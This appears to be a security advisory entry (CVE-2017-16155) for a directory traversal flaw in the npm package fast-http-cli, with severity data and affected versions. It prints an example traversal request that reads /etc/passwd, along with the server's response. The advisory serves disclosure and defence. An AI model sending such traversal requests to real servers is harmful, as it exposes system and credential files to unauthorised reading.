GHSA-9frq-f867-hgqc

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Source
https://github.com/advisories/GHSA-9frq-f867-hgqc
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-9frq-f867-hgqc/GHSA-9frq-f867-hgqc.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9frq-f867-hgqc
Aliases
  • CVE-2017-16155
Published
2018-07-23T20:46:25Z
Modified
2023-11-08T03:59:08.136997Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Directory Traversal in fast-http-cli
Details

fast-http-cli is the command line interface for fast-http, a simple web server.

fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

References

Affected packages

npm / fast-http-cli

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
0.0.8